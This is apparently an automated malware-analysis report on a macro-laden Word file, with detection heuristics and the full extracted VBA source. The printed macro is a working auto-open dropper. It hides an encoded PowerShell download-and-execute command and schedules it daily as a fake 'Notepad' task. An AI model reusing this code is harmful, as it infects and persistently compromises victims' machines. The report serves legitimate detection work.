Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9821b399dfc72f8d…

MALICIOUS

Office (OOXML)

97.3 KB Created: 2021-06-21 19:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-02
MD5: bdf6cfce7603b865f81cd895e8095298 SHA-1: f1ac8ac0e11d3eef51e2c13f3fb64fdbbacc166f SHA-256: 9821b399dfc72f8d9052915a8901376aca1d1e8923452ea43ff03bbd448d0f8d
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1140 Deobfuscate/Decode Files or Information

The sample contains obfuscated VBA macros that utilize WScript.Shell and cmd.exe to execute a PowerShell command. This PowerShell command is designed to bypass execution policies and download a second-stage payload from a remote source. The presence of AutoOpen and other auto-execution VBA functions, along with the use of Shell() and CreateObject(), strongly indicates a downloader or droppper functionality.

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim oShell As Object, FileName As String
        Set oShell = CreateObject("WScript.Shell")
        FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Dim oShell As Object, FileName As String
        Set oShell = CreateObject("WScript.Shell")
        FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim oShell As Object, FileName As String
        Set oShell = CreateObject("WScript.Shell")
        FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Set oFile = Nothing
        CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /SC DAILY /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /ST 11:00 /F"""
    End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
    Sub Auto_Open()
        Dim first As String
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4406 bytes
SHA-256: 9447f9c6769a22075154ee0c5f06a32f2afaf4a5f44604e0e7d0cfa5ce5b7dd5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Dim first As String
    Dim second As String
    Dim third As String
    Dim fourth As String
    Dim fifth As String
    Dim sixth As String
    Dim seventh As String
    Dim eighth As String
    Dim ninth As String
    Dim tenth As String
    Dim eleventh As String
    Dim twelfth As String
    Dim last As String
    aa = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108)
    bb = ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(99)
    cc = ChrW(32) & ChrW(98) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & ChrW(32) & ChrW(45) & ChrW(101)
    dd = ChrW(110) & ChrW(99) & ChrW(32) & ChrW(83) & ChrW(81) & ChrW(66) & ChrW(70) & ChrW(65) & ChrW(70) & ChrW(103)
    ee = ChrW(65) & ChrW(73) & ChrW(65) & ChrW(65) & ChrW(111) & ChrW(65) & ChrW(67) & ChrW(103) & ChrW(65) & ChrW(98)
    ff = ChrW(103) & ChrW(66) & ChrW(108) & ChrW(65) & ChrW(72) & ChrW(99) & ChrW(65) & ChrW(76) & ChrW(81) & ChrW(66)
    gg = ChrW(118) & ChrW(65) & ChrW(71) & ChrW(73) & ChrW(65) & ChrW(97) & ChrW(103) & ChrW(66) & ChrW(108) & ChrW(65)
    hh = ChrW(71) & ChrW(77) & ChrW(65) & ChrW(100) & ChrW(65) & ChrW(65) & ChrW(103) & ChrW(65) & ChrW(71) & ChrW(52)
    ii = ChrW(65) & ChrW(90) & ChrW(81) & ChrW(66) & ChrW(48) & ChrW(65) & ChrW(67) & ChrW(52) & ChrW(65) & ChrW(100)
    ll = ChrW(119) & ChrW(66) & ChrW(108) & ChrW(65) & ChrW(71) & ChrW(73) & ChrW(65) & ChrW(89) & ChrW(119) & ChrW(66)
    mm = ChrW(115) & ChrW(65) & ChrW(71) & ChrW(107) & ChrW(65) & ChrW(90) & ChrW(81) & ChrW(66) & ChrW(117) & ChrW(65)
    nn = ChrW(72) & ChrW(81) & ChrW(65) & ChrW(75) & ChrW(81) & ChrW(65) & ChrW(117) & ChrW(65) & ChrW(71) & ChrW(81)
    oo = ChrW(65) & ChrW(98) & ChrW(119) & ChrW(66) & ChrW(51) & ChrW(65) & ChrW(71) & ChrW(52) & ChrW(65) & ChrW(98)
    pp = ChrW(65) & ChrW(66) & ChrW(118) & ChrW(65) & ChrW(71) & ChrW(69) & ChrW(65) & ChrW(90) & ChrW(65) & ChrW(66)
    qq = ChrW(122) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(99) & ChrW(103) & ChrW(66) & ChrW(112) & ChrW(65)
    rr = ChrW(71) & ChrW(52) & ChrW(65) & ChrW(90) & ChrW(119) & ChrW(65) & ChrW(111) & ChrW(65) & ChrW(67) & ChrW(99)
    ss = ChrW(65) & ChrW(97) & ChrW(65) & ChrW(66) & ChrW(48) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(99)
    tt = ChrW(65) & ChrW(65) & ChrW(54) & ChrW(65) & ChrW(67) & ChrW(56) & ChrW(65) & ChrW(76) & ChrW(119) & ChrW(65) & ChrW(120)
    uu = ChrW(65) & ChrW(68) & ChrW(77) & ChrW(65) & ChrW(76) & ChrW(103) & ChrW(65) & ChrW(122) & ChrW(65) & ChrW(68)
    vv = ChrW(89) & ChrW(65) & ChrW(76) & ChrW(103) & ChrW(65) & ChrW(121) & ChrW(65) & ChrW(68) & ChrW(69) & ChrW(65) & ChrW(77)
    zz = ChrW(81) & ChrW(65) & ChrW(117) & ChrW(65) & ChrW(68) & ChrW(69) & ChrW(65) & ChrW(78) & ChrW(119) & ChrW(65) & ChrW(50)
    ab = ChrW(65) & ChrW(67) & ChrW(56) & ChrW(65) & ChrW(99) & ChrW(103) & ChrW(66) & ChrW(122) & ChrW(65) & ChrW(67) & ChrW(52) & ChrW(65) & ChrW(100) & ChrW(65) & ChrW(66) & ChrW(52) & ChrW(65) & ChrW(72) & ChrW(81) & ChrW(65) & ChrW(74) & ChrW(119) & ChrW(65) & ChrW(112) & ChrW(65) & ChrW(67) & ChrW(107) & ChrW(65)
    last = aa + bb + cc + dd + ee + ff + gg + hh + ii + ll + mm + nn + oo + pp + qq + rr + ss + tt + uu + vv + zz + ab
    Dim fso As Object, oFile As Object
    Dim oShell As Object, FileName As String
    Set oShell = CreateObject("WScript.Shell")
    FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
    Set oShell = Nothing
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set oFile = fso.CreateTextFile(FileName)
    oFile.WriteLine "@echo off"
    oFile.WriteLine "@echo off"
    oFile.WriteLine last + " -WindowStyle" + " Hidden"
    oFile.Close
    Set oFile = Nothing
    CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /SC DAILY /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /ST 11:00 /F"""
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 38912 bytes
SHA-256: ea2a76df0e5c58f447b86313e0c7d70f04c783ec15bf1dc6f9756ae585272f05
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely